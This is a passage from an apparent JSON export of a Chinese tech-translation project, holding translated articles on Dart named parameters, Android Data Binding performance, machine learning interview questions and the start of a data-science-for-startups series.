号位\n)\n```\n\n这完全行得通，但是当我们有多个参数的时候，这样很容易引起混乱。\n\n此时命名参数就展露优势了，它们让代码更易写也更易读。\n\n顺便说一句，你还可以将位置参数和命名参数结合起来：\n\n```dart\n// 位置参数优先，然后是命名参数\nvoid _showAlert(BuildContext context, {String title, String content}) {\n  // TODO：展示提示信息\n}\n```\n\nFlutter widget 中随处可见使用一个位置参数，然后使用多个命名参数的方式。`Text` widget 就是一个很好的例子。\n\n我写代码的指导思想就是，代码一定要保持整洁、自洽。我会依照此合理选择命名参数和位置参数。\n\n## 4. @required 和默认值\n\n默认情况下，命名参数可以被省略。\n\n> **省略命名参数就等于给它赋值为 `null`。**\n\n有时候这会导致无法预期的后果。\n\n在上面的例子中，我们可以在定义 `PlaceholderContent()` 时并不传入 `title` 和 `message` 参数。\n\n这将会导致错误，因为这样的话我们会将 `null` 值传入 `Text` widget，但这是不允许的。\n\n#### @required 是一种补救方法\n\n我们可以为任何变量添加 required 注释：\n\n```dart\nconst PlaceholderContent({\n  @required this.title,\n  @required this.message,\n});\n```\n\n这样当我们忘记传入参数的时候，编译器将会报出警告。\n\n此时如果我们需要，我们仍旧可以明确写出传递 `null` 值：\n\n```dart\nPlaceholderContent(\n  title: null,\n  message: null,\n)\n```\n\n此时编译器就不会报警告了。\n\n如果想要避免传入 `null` 值，我们可以增加一些断言（assert）：\n\n```dart\nconst PlaceholderContent({\n  @required this.title,\n  @required this.message,\n}) : assert(title != null && message != null);\n```\n\n这些修改让我们的代码安全系数更高，因为：\n\n* `@required` 会增加**编译时**检查\n* `assert` 会增加**运行时**检查\n\n如果我们为代码加入断言，那么运行时的错误就更容易改正，因为此时的报错会明确指出导致错误的代码位置。\n\n#### 非空类型\n\n`@required` 和 `assert` 让我们的代码安全系数更高了，但是它们看上去有些笨重。\n\n如果我们可以指定对象在编译时不可为空就更好了。\n\n通过使用非空类型我们可以做到这一点，而它在一开始就内建在 Swift 和 Kotlin 中了。\n\n而且非空类型现在也正计划应用于 Dart 语言。\n\n让我们祈祷它可以快点到来吧。🤞\n\n#### 默认值\n\n有时候，指定**合理的**默认值也很有用。\n\n在 Dart 中这很容易就能做到：\n\n```dart\nconst PlaceholderContent({\n  this.title = 'Nothing here',\n  this.message = 'Add a new item to get started',\n}) : assert(title != null && message != null);\n```\n\n使用这种语法，如果 `title` 和 `message` 参数被忽略了，那么默认值就会被使用。\n\n顺便提一下，默认值也可以应用于位置参数：\n\n```dart\nint sum([int a = 0, int b = 0]) {\n  return a + b;\n}\nprint(sum(10)); // 打印出 10\n```\n\n## 总结\n\n代码是让机器执行的，但是也是要程序员阅读的。\n\n时间宝贵。乖乖的写好代码 😉\n\n* 这样才能让你的应用更健壮，性能也更好。\n* 同时也能帮助你和你的团队有更好的发展。\n\n编程愉快！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/data-binding-lessons-learnt.md",
    "content": "> * 原文地址：[Data Binding — Lessons Learnt](https://medium.com/androiddevelopers/data-binding-lessons-learnt-4fd16576b719)\n> * 原文作者：[Chris Banes](https://medium.com/@chrisbanes)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/data-binding-lessons-learnt.md](https://github.com/xitu/gold-miner/blob/master/TODO1/data-binding-lessons-learnt.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[DevMcryYu](https://github.com/DevMcryYu)\n\n# Data Binding 库使用的经验教训\n\n![由 [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 平台的用户 [rawpixel](https://unsplash.com/photos/uQkwbaP0UrI?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 拍摄](https://cdn-images-1.medium.com/max/13000/1*eAr7ibH_sGkMk51fm7dZIg.jpeg)\n\n[Data Binding 库](https://developer.android.com/topic/libraries/data-binding/)（下文中以『DB 库』词语来指代）提供了一个灵活强大的方式来绑定数据到 UI 界面。但是要用一句陈词滥调：『能力越大，责任越大』，仅仅是使用数据绑定，并不意味着你可以避免成为一个优秀 UI 开发者。\n\n过去的几年我一直在 Android 开发中使用 data binding 库，本文会写出我这一路上了解到的与它有关的一些内容细节。\n\n## 尽可能使用 bindings \n\n[自定义 binding adapter](https://developer.android.com/topic/libraries/data-binding/binding-adapters#custom-logic) 是一种给 View 控件轻松提供自定义功能的好方法。和许多开发者一样，我对 binding adapter 研究得稍微深入，最终总结出一套包含 [15 种不同用途的适配器](https://github.com/chrisbanes/tivi/blob/5f785284b618002622781b44806fa469fc2b982e/app/src/main/java/app/tivi/ui/databinding/TiviBindingAdapters.kt)的类集。\n\n最糟糕的实践是这类适配器，它们生成格式化的字符串并设置到 `TextViews` 控件，这些适配器通常仅在同一个布局文件中使用：\n\n虽然这可能看起来很聪明，但是有三大缺点：\n\n1. **优化它们的过程太痛苦**。除非你把代码组织得非常好，否则你可能会有一个包含所有适配器方法的大文件，这与代码内聚和解耦原则相违背。\n\n2. **你需要使用 instrumentation 工具来做测试**。根据定义，你的 binding adapter 不会有返回值，它们接收一个输入参数后设置 view 的属性。这就意味着你必须使用 instrumentation 来测试你的自定义逻辑，这样会使得测试变得既缓慢又难以维护。\n\n3. **自定义 binding adapter 代码（通常）不是最佳选项**。如果你查看内建文本绑定[[参考这里](https://android.googlesource.com/platform/frameworks/data-binding/+/master/extensions/baseAdapters/src/main/java/android/databinding/adapters/TextViewBindingAdapter.java#63)]，你将会看到已经做了许多检查来避免调用 [`TextView.setText()`](https://developer.android.com/reference/android/widget/TextView.html#setText(java.lang.CharSequence))，这样就节省了被浪费的布局检测。我觉得自己陷入了这样的思维困境：DB 库将会自动优化我的 view 更新。它确实可以做到，但**仅限于**你使用被谨慎优化的内建 binding adapter的情况。\n\n相反的，把你的方法的逻辑抽象为内聚类（我称之为文本创建者类），然后将它们传递给 binding。这样你就可以调用你的文本创建者类并使用内建 view binding：\n\n这样我们可以从内建的绑定操作过程中提高效率，并且我们可以非常轻松地对创建格式化字符串的代码进行单元测试。\n\n## 让你的自定义 binding 适配器变得高效\n\n如果你确实需要使用自定义适配器，因为你所需的功能不存在，请尽量使其变得高效。我的意思是使用所有标准的 Android UI 优化：尽可能避免触发测量/布局操作。\n\n这可以像检查当前使用的视图以及你设置的内容一样简单。这里有一个我们为 `android:drawable` 重新实现了标准 ImageView adapter 的样例：\n\n遗憾的是，视图并不总是能够显示我们需要检查的状态。这里有一个在 TextView 上设置切换最大行的示例。它通过改变 TextView 的 `maxLines` 属性以及一个[延时布局转换](https://developer.android.com/reference/androidx/transition/TransitionManager.html#beginDelayedTransition)(android.view.ViewGroup)来实现切换。\n\n![这样你就可以了解它的作用](https://cdn-images-1.medium.com/max/2000/1*1EFkuX5VCoVr3tZ7OhUdYg.gif)\n\n之前 binding adapter 比较简单并且总是设置了 `maxLines` 属性和一个点击监听对象。TextView 在 [`setMaxLines()`](https://developer.android.com/reference/android/widget/TextView.html#setMaxLines(int)) 被调用后总会触发一次布局，这就意味着每次 binding adapter 启动，一次布局就会被触发。\n\n让我们改变这个情况。由于此功能与 TextView 是完全分开的（我们只是在单击时使用不同的值调用 `setMaxLines()`），我们需要将引用存储为当前状态。幸运的是，『DB 库』为我们提供了一个手工方式去在 binding adapter 中接收状态。通过提供参数两次：第一个参数接收**当前**值，第二个参数接收**新**值。\n\n所以这里我们只需比较**当前的**和**新的** `collapsedMaxLines` 值。如果值实际发生了改变，我们才去调用 `setMaxLines()` 等方法。\n\n**编辑按: 感谢 Alexandre Gianquinto 在评论中提到『double parameters』功能。**\n\n## 谨慎对待你提供的变量\n\n我一直在慢慢的重新设计 [Tivi](https://tivi.app)，使用类似 MVI 的东西，使用优秀的 [MvRx 库](https://github.com/airbnb/MvRx)来使它变得规范化。这在实践中意味着我的 fragment/view 订阅到 [ViewModel](https://developer.android.com/reference/androidx/lifecycle/ViewModel)对象，并且接收 ViewStates 的实例。这些实例包含所有用于显示 UI 的必要状态。\n\n这是一个展示 Tivi（[链接](https://github.com/chrisbanes/tivi/blob/master/app/src/main/java/app/tivi/showdetails/details/ShowDetailsViewState.kt)）中类的样例：\n\n你可以看到它仅仅是一个简单的数据类，包含了 UI 需要在一个 TV 秀界面上显示的所有细节 UI 元素。\n\n听起来像是传递我们的 data binding 实例对象的完美选项，让我们的 binding 表达式来去更新 UI，对吧？好吧这确实有效，但是有一些需要注意的地方，这是由于『DB 库』的工作机制。\n\n在 data binding 中你通过 `<variable>` 标签声明了输入，然后在书写 binding 表达式时在 view 属性处引用了这些输入变量。当任何被依赖的变量发生变化，『DB 库』都会运行你的 binding 表达式（接着会更新 view）。这个变化检测就是你可以免费获取的很棒的优化。\n\n所以回到我的场景，我的布局最终看起来是这样的：\n\n所以我最终获取一个包含所有 UI 状态的全局 ViewState 实例，并且你可以想象出这些状态**经常**会发生变化。UI 状态的任何轻微变化都会产生一个全新的 ViewState，并被传递到我们的 data binding 实例。\n\n所以问题是什么？由于我们只有一个输入变量，所有的 binding 表达式将会引用变量，这就意味着『DB 库』将无法自由选择运行哪个表达式。在实际过程中，这意味着每次变量变化（不管多小的变化）发生时所有的 binding 表达式都会运行。\n\n**这个问题与 MVI 这点无关，特别是它只是组合状态的 artifact，与data binding 结合在一起使用。**\n\n### 那么你能怎么做呢？\n\n有种替代方法是在布局中显式声明 ViewState 中的每个变量，然后显式传递组合状态实例中的值，如下所示：\n\n这显然会使开发人员维护和同步更多的代码，但它确实意味着『DB 库』可以优化去运行哪些表达式。如果你的 UI 状态不经常变化（可能在创建时有一些次）并且变量数量较少时，我会推荐使用此模式。\n\n我个人一直在布局中使用单个变量，传入我的 ViewState 实例，并依赖于我们的视图绑定合理地运行。这就是为什么让视图绑定变得高效非常重要。\n\n**另一个需要注意的是 Tivi 是 [RecyclerView](https://developer.android.com/guide/topics/ui/layout/recyclerview) 的重度使用者，还有 [Epoxy](https://github.com/airbnb/epoxy) 和 [Data Binding](https://github.com/airbnb/epoxy/wiki/Data-Binding-Support)，意思就是在 [DiffUtil](https://developer.android.com/reference/androidx/recyclerview/widget/DiffUtil) 中会额外有一些变化相关的计算发生。所以如果你的 UI 也有大量的 RecyclerView 组成，你可以类似上文描述不费事地获取计算这方面的优化。**\n\n## 小步迭代\n\n希望这篇文章强调了一些可以优化数据绑定实现方案中的一些小事。了解『DB 库』的内部机制可以帮助你提高数据绑定效率，并提高你的 UI 性能。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/data-science-and-machine-learning-interview-questions.md",
    "content": "> * 原文地址：[Data Science and Machine Learning Interview Questions](https://towardsdatascience.com/data-science-and-machine-learning-interview-questions-3f6207cf040b)\n> * 原文作者：[George Seif](https://towardsdatascience.com/@george.seif94?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/data-science-and-machine-learning-interview-questions.md](https://github.com/xitu/gold-miner/blob/master/TODO1/data-science-and-machine-learning-interview-questions.md)\n> * 译者：[jianboy](https://github.com/jianboy)\n> * 校对者：[yqian1991](https://github.com/yqian1991)\n\n# 数据科学和机器学习面试问题\n\n啊，可怕的机器学习面试啊。表面上，你觉得你知道一切......可当你使用它时，你会发现很多你都不会！\n\n在过去的几个月里，我面试了一些涉及数据科学和机器学习的初级职位。为了让你们更了解我的背景，我目前正处于研究生院机器学习和计算机视觉硕士课程的最后几个月里，我以前的大部分经验都是研究/学术的，但是有 8 个月的时间是在初创公司(与 ML 无关)。这些职位包括数据科学、机器学习和自然语言处理或计算机视觉方面的专业工作。我面试了亚马逊、特斯拉、三星、优步、华为等大公司。也面试了许多从早期到成熟和资金充足的初创公司。\n\n今天我将与大家分享我被问到的所有面试问题以及如何处理这些问题。许多问题都是普遍问题和一些基础理论，但其他许多问题都非常具有创造性和新奇。我将简单列出最常见的那些，因为有很多关于这些基础理论知识的在线资源，并且更深入地介绍一些不那么常见和棘手的问题。我希望在阅读这篇文章时，可以帮助你在机器学习面试中取得优异成绩并获得理想的工作！\n\n我们来看看：\n\n*   偏差和方差之间的区别是什么？\n*   什么是梯度下降？\n*   解释过拟合和欠拟合问题以及如何解决它们？\n*   如何解决数据高维度问题以及如何降维？\n*   什么是正则化，我们为什么要使用它，并提供一些常用方法的例子？\n*   什么是主成分分析（PCA）？\n*   为什么 ReLU 在神经网络中比 Sigmoid 更好、更经常使用？\n*   **什么是数据规范化以及我们为什么需要它？** 我觉得这一点很重要。数据归一化是非常重要的预处理步骤，用于重新调整值以适应特定范围，以确保在反向传播期间更好的收敛。通常，它归结为减去每个数据点的平均值并除以其标准偏差。如果我们不这样做，那么一些特征（具有高级数的特征）将在成本函数中加权更多（如果更高幅度的特征变化 1％，那么这种变化相当大，但对于较小的特征，它是非常微不足道的）。数据规范化使所有特征均等加权。\n*   **解释什么是降维，什么时候使用，以及使用它的好处？** 降维是通过获得数据集重要特征的主要变量来减少所考虑的特征变量数量的过程。特征的重要性取决于特征变量对数据的信息表示的贡献程度，并取决于您决定使用哪种技术。决定使用哪种技术归结为反复试验和偏好。通常从线性技术开始，当结果表明不合适时，转向非线性技术。降维的好处有：(1) 减少所需的存储空间 (2) 加速计算（例如在机器学习算法中），更少的维度意味着更少的计算，更少的维度可以允许使用在高维度不适合的算法 (3) 删除冗余特征，例如以平方米和平方英里存储地形大小没有任何意义（可能数据收集存在缺陷） (4) 将数据维度减少到 2D 或 3D 可能允许我们绘制图像和可视化它，可以观察图像，得出一些结论 (5) 太多的特征或太复杂的模型可能导致过度拟合。\n*   **如何处理数据集中丢失或损坏的数据？** 您可以在数据集中找到丢失/损坏的数据，并丢弃这些行或列，或决定用其他值替换它们。在 Pandas 中，有两个非常有用的方法：isnull() 和 dropna()，它们可以帮助您查找丢失或损坏数据的数据列并删除这些值。 如果要使用占位符值（例如：0）填充无效值，可以使用 fillna() 方法。\n*   **解释这种聚类算法？** 我写了一篇关于[数据科学家需要知道的 5 种聚类算法](https://towardsdatascience.com/the-5-clustering-algorithms-data-scientists-need-to-know-a36d136ef68) 的热门文章，文章中用一些很棒的可视化操作，解释了什么是聚类算法。\n*   **您将如何进行探索性数据分析（EDA）？** EDA 的目标是在应用预测模型之前从数据中收集一些见解，即获得一些信息。基本上，您希望以_粗到细_的方式进行 EDA。我们首先获得一些高级别的全局见解。检查一些不平衡的类。查看每个类的均值和方差。查看前几行，了解它的全部内容。运行 pandas 命令 `df.info()` 以查看哪些特征是连续的，分类的，它们的类型(int，float，string)。接下来，删除在分析和预测中不必要的列。这些可能只是看起来毫无用处的列，其中许多行具有相同的值（即它不会给我们提供太多信息），或者它缺少很多值。我们还可以使用该列中最常见的值或中位数填写缺失值。现在我们可以开始做一些基本的可视化。从高维开始。对少量组进行分类，可以分别做条形图。最终得到一些条形图。看看这些条形图的“一般特征”。创建一些关于这些一般特征的可视化，以尝试获得一些基本见解。现在我们可以开始更具体了。一次创建两个或三个特征之间的可视化。特征如何相互关联？您还可以执行 PCA( 主成分分析) 以查看哪些功能包含最多信息。将一些特征组合在一起以查看它们之间的关系。例如，当 A = 0 且 B = 0 时，类会发生什么？ A = 1 和 B = 0 怎么样？比较不同的特征。例如，如果特征 A 可以是“女性”或“男性”，那么我们可以绘制特征 A 根据他们留在哪个小屋，看看男性和女性是否留在不同的小屋中。除了条形图，散点图和其他基本图之外，我们还可以绘制 PDF/CDF、叠加图等。查看一些统计信息，如分布列，p 值等。最后是构建 ML 模型的时候了。从朴素贝叶斯和线性回归等简单的东西开始。如果您看到那些数据是高度非线性的，请使用多项式回归，决策树或 SVM。可以根据 EDA 的重要性选择功能。如果您有大量数据，可以使用神经网络。检查 ROC 曲线、精确率和召回率。\n*   **您如何知道应该使用哪种机器学习模型？** 虽然人们应该始终牢记“无免费午餐定理”，但仍有一些一般性的指导方针。 我写了一篇关于如何选择合适的回归模型的文章[这里](https://towardsdatascience.com/selecting-the-best-machine-learning-algorithm-for-your-regression-problem-20c330bad4ef)。这篇[文章](https://www.google.com/search?tbs=simg:CAESqQIJvnrCwg_15JjManQILEKjU2AQaBAgUCAoMCxCwjKcIGmIKYAgDEijqAvQH8wfpB_1AH_1hL1B_1YH6QKOE6soyT-TJ9A0qCipKKoo0TS0NL0-GjA_15sJ-3A24wpvrDVRc8bM3x0nrW3Ctn6tFeYFLpV7ldtVRVDHO-s-8FnDFrpLKzC8gBAwLEI6u_1ggaCgoICAESBOmAAdwMCxCd7cEJGogBChsKCGRvY3VtZW502qWI9gMLCgkvbS8wMTVidjMKGAoGbnVtYmVy2qWI9gMKCggvbS8wNWZ3YgoXCgVtdXNpY9qliPYDCgoIL20vMDRybGYKGwoIcGFyYWxsZWzapYj2AwsKCS9tLzAzMHpmbgoZCgdwYXR0ZXJu2qWI9gMKCggvbS8waHdreQw&q=choose+ml+algorithm&tbm=isch&sa=X&ved=0ahUKEwi-js_8nNbaAhWB5YMKHUTLCEMQsw4INg&biw=1855&bih=990#imgrc=vnrCwg_5JjNUcM:)也写得很好。\n*   **为什么我们使用卷积处理图像而不仅仅是 FC 层？** 这个非常有趣，因为它不是公司通常会问的问题。 正如您所料，我从一家专注于计算机视觉的公司那里得到了这个问题。 这个答案有 2 个部分。 首先，卷积保留并编码了实际使用的图像空间信息。 如果我们只使用 FC 层，我们将没有相关的空间信息。 其次，卷积神经网络 (CNN) 具有部分内置的平移方差，因为每个卷积核都充当它自己的滤波器/特征检测器。\n*   **是什么让 CNNs 平移不变？** 如上所述，每个卷积核都充当它自己的滤波器/特征检测器。 因此，假设您正在进行对象检测，对象在图像中的位置并不重要，因为我们将以滑动窗口的方式对整个图像应用卷积。\n*   **为什么我们在分类 CNN 中有最大池化?** 再次如您所料，这是计算机视觉中的一个角色。CNN 中的最大池化允许您减少计算，因为池化后的要素图较小。 由于您正在进行最大程度的激活，因此不会丢失过多的语义信息。 还有一种理论认为，最大池化有助于为 CNN 提供更多的方差转换。 看看这个来自 Andrew Ng 的关于[最大池化的好处](https://www.coursera.org/learn/convolutional-neural-networks/lecture/hELHk/pooling-layers)的精彩视频。\n*   **为什么分段 CNN 通常具有编码器 —— 解码器样式/结构？** 编码器 CNN 基本上可以被认为是特征提取网络，而解码器使用该信息通过“解码”特征并且放大到原始图像大小来预测图像片段。\n*   **残留网络有什么意义？** 剩余连接所做的主要事情是允许从先前层直接访问功能。 这使得整个网络中的信息传播变得更加容易。 一个非常有趣的[论文](https://arxiv.org/abs/1605.06431)介绍了如何使用本地跳过连接为网络提供一种整体多路径结构，为多个路径提供在整个网络中传播的功能。\n*   **什么是批处理归一化？为什么它有效？** 训练深度神经网络很复杂，因为每一层的输入分布在训练期间随着前一层的参数改变而改变。然后，我们的想法是将每层的输入标准化，使得它们的平均输出激活函数为零，标准偏差为 1。这是针对每一层上的每个单独的小批量进行的，即单独计算该小批量的平均值和方差，然后进行归一化。这类似于网络输入的标准化。这有什么用？我们知道将网络输入规范化有助于它学习。但网络只是一系列层，其中一层的输出成为下一层的输入。这意味着我们可以将神经网络中的任何层视为较小的后续网络的第一层。考虑到作为一系列相互馈送的神经网络，我们在应用激活函数之前规范化一层的输出，然后将其馈送到下一层（子网络）。\n*   **你会如何处理不平衡的数据集？** 我有一篇[文章](https://towardsdatascience.com/7-practical-deep-learning-tips-97a9f514100e) 讲到它! 请查看第 #3 节:)\n*   **你为什么要使用许多小的卷积内核，比如 3x3 而不是几个大内核？** 这在 [VGGNet 论文](https://arxiv.org/pdf/1409.1556.pdf)中得到了很好的解释。 有两个原因：首先，您可以使用几个较小的内核而不是几个较大的内核来获取相同的感知字段并捕获更多的空间上下文，但是使用较小的内核则使用较少的参数和计算。 其次，因为对于较小的内核，您将使用更多的过滤器，您将能够使用更多的激活函数，因此您的 CNN 可以学习更具辨别力的映射函数。\n*   **你有其他与此相关的项目吗？** 在这里，您将真正了解您的研究与业务之间的联系。您是否有任何您所学到的技能或可能与您的业务或您申请的职位有关的技能？ 它不必 100％ 准确，只是以某种方式相关，以便您可以证明您将能够直接贡献大量的价值。\n*   **解释你目前的硕士研究？什么有用？什么没有？未来发展方向？** 和上一个问题一样！\n\n![](https://cdn-images-1.medium.com/max/800/1*9gyga7q3TWYQ1oiZigeTCA.jpeg)\n\n#### 结论\n\n现在你们应该都了解了！我在申请数据科学和机器学习中的角色时遇到的所有面试问题。 我希望你喜欢这篇文章并学到一些新的有用的东西！ 如果本文确实对你有用，请给我点个赞吧。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/data-science-for-startups-introduction.md",
    "content": "> * 原文地址：[Data Science for Startups: Introduction](https://towardsdatascience.com/data-science-for-startups-introduction-80d022a18aec)\n> * 原文作者：[Ben Weber](https://towardsdatascience.com/@bgweber?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/data-science-for-startups-introduction.md](https://github.com/xitu/gold-miner/blob/master/TODO1/data-science-for-startups-introduction.md)\n> * 译者：[临书](https://github.com/tmpbook)\n> * 校对者：[yqian1991](https://github.com/yqian1991)\n\n# 初创公司的数据科学：简介\n\n![](https://cdn-images-1.medium.com/max/1600/1*z0AJeiYe_9qltVgp2g7zkw.jpeg)\n\n照片来源：rawpixel 发表在 pixabay.com\n\n我最近换了行业，加入了一家创业公司，负责建立数据科学部。虽然我加入时这里已经有了可靠的数据管道，但是没有适用于可重复分析、扩展模型和执行实验的流程。本系列博文的目标是概述如何从头开始为创业公司构建数据科学平台，并使用谷歌云平台（GCP）为读者提供可以自己尝试的真实示例。\n\n本系列适用于希望超越训练模型阶段，以及想构建可能对公司产生影响的数据管道和数据产品的数据科学家和分析师。但是对于希望更好的了解如何与数据科学家合作运行实验和构建数据产品的其他学科来说，它也是有用的。它适用于具有编程经验的读者，本系列主要使用了 R 与 Java 的代码示例。\n\n#### 为什么选择数据科学？\n\n为您的创业公司雇佣数据科学家时，首先要问的问题之一是：**数据科学将如何改进我们的产品**？在 [Windfall Data](https://angel.co/windfall-data)，我们的产品就是数据，因此数据科学的目标与公司的目标可以很好的协调，可以建立最准确的估算净值模型。而在其他公司（如移动游戏公司），答案可能没那么直接，数据科学可能对了解如何运营业务而不是改进产品更有用。但是在早期阶段就开始收集有关客户行为的数据通常是有益的，这样您就可以在将来改进产品。\n\n在初创公司启动数据科学的好处有：\n\n1. 可以确定要跟踪和预测的关键业务指标\n2. 可以建立客户行为的预测模型\n3. 可以运行实验以测试产品变化\n4. 可以构建支持新产品功能的数据产品\n\n许多公司在前两个或三个步骤中就陷入了困境，并没有充分发挥数据科学的潜力。本系列博客文章的目标是展示如何使用托管服务让小型团队超越仅为计算业务运营指标而搭建数据管道，过渡到数据科学可以为产品提供关键输入的公司。\n\n#### 系列概述\n\n以下是我对此博客系列文章的主题计划。当我写新的部分时，我可能会添加或移动部分内容。如果您认为应该涵盖其他主题，可以在文末提出来。\n\n1.  简介（即本文）：提供在初创公司使用数据科学的动力，并概述本系列文章所涵盖的内容。类似的文章包括[数据科学的功能](https://towardsdatascience.com/functions-of-data-science-4afd5341a659)，[数据科学扩展](https://medium.com/windfalldata/scaling-data-science-at-windfall-55f5f23698e1)还有[我的 FinTech 之旅](https://towardsdatascience.com/from-games-to-fintech-my-ds-journey-b7169f08b6ad)。\n2.  [**跟踪数据**](https://towardsdatascience.com/data-science-for-startups-tracking-data-4087b66952a1)：讨论从应用程序和网页捕获数据的动机，提出收集跟踪数据的不同方法，引入隐私和欺诈等问题，并以 Google PubSub 为例。\n3.  [**数据管道**](https://medium.com/@bgweber/data-science-for-startups-data-pipelines-786f6746a59a)：介绍如何使用不同方法收集数据以供分析和数据科学团队使用，讨论了平面文件、数据库和数据池方式，并介绍了基于 PubSub，DataFlow 和 BigQuery 的实现。类似的文章有[可扩展的分析管道](https://towardsdatascience.com/a-simple-and-scalable-analytics-pipeline-53720b1dbd35)和[游戏分析平台的演进](https://towardsdatascience.com/evolution-of-game-analytics-platforms-4b9efcb4a093)。\n4.  [**商业智能**](https://towardsdatascience.com/data-science-for-startups-business-intelligence-f4a2ba728e75)：认识 ETL 的常见实践经验、自动化报告/仪表盘以及计算业务运营指标和 KPI。使用 R Shiny 和 Data Studio 为例。\n5.  [**探索性分析**](https://towardsdatascience.com/data-science-for-startups-exploratory-data-analysis-70ac1815ddec)：涵盖用于挖掘数据常用分析，比如构建直方图和累积分布函数、相关性分析以及线性模型的特征重要性。使用 [Natality](https://cloud.google.com/bigquery/sample-tables) 公共数据集进行示例分析。类似的文章有[聚合前 1%](https://medium.freecodecamp.org/clustering-the-top-1-asset-analysis-in-r-6c529b382b42) 和 [数据科学可视化的 10 年](https://towardsdatascience.com/10-years-of-data-science-visualizations-af1dd8e443a7)。\n6.  [**预测建模**](https://medium.com/@bgweber/data-science-for-startups-predictive-modeling-ec88ba8350e9)：讨论监督和非监督学习方法，并介绍流失和交叉推广预测模型，以及评估离线模型性能的方法。\n7.  [**模型制作**](https://medium.com/@bgweber/data-science-for-startups-model-production-b14a29b2f920)：展示如何扩展离线模型以获得数百万条记录，并讨论模型部署的批处理和在线方法。类似的文章有[在 Twitch 产品化数据科学](https://blog.twitch.tv/productizing-data-science-at-twitch-67a643fd8c44)，还有[使用 DataFlow 生成模型](https://towardsdatascience.com/productizing-ml-models-with-dataflow-99a224ce9f19)。\n8.  **实验**：介绍产品的 A/B 测试，讨论如何配置运行实验的框架，并提供 R 和 bootstrapping 示例分析。类似的文章有[分阶段的 A/B 测试](https://blog.twitch.tv/a-b-testing-using-googles-staged-rollouts-ea860727f8b2)。\n9. **推荐系统**：介绍推荐系统的基础知识，并提供扩展生产系统推荐器的示例。类似的文章有[推荐人原型设计](https://towardsdatascience.com/prototyping-a-recommendation-system-8e4dd4a50675)。\n10.  **深度学习**：简要介绍一些问题最好通过深度学习来解决的数据科学问题，例如将聊天消息标记为令人反感的。提供带有 [Keras](https://keras.rstudio.com/) 的 R 接口的原型模型示例，以及使用 [CloudML](https://tensorflow.rstudio.com/tools/cloudml/articles/getting_started.html) 的 R 接口进行产品化。\n\n本系列还存在[网络版](https://bgweber.github.io/)和[印刷版](https://www.amazon.com/dp/1983057975)的书。\n\n#### 工具\n\n在整个系列中，我将介绍基于 Google Cloud Platform 构建的代码示例。我选择 GCP，因为它提供了许多托管服务，使小型团队可以构建数据管道，产生预测模型并利用深度学习。也可以通过 GCP 注册免费试用并获得 300 美元的余额。使用免费试用的 GCP 运行本系列中介绍的大多数主题已经够了，但如果您的目标是深入了解云端的深度学习，它将很快过期。\n\n对于编程语言，我将使用 R 来编写脚本，Java 用于生产，以及使用 SQL 来处理 BigQuery 中的数据。我还会介绍其他工具，如 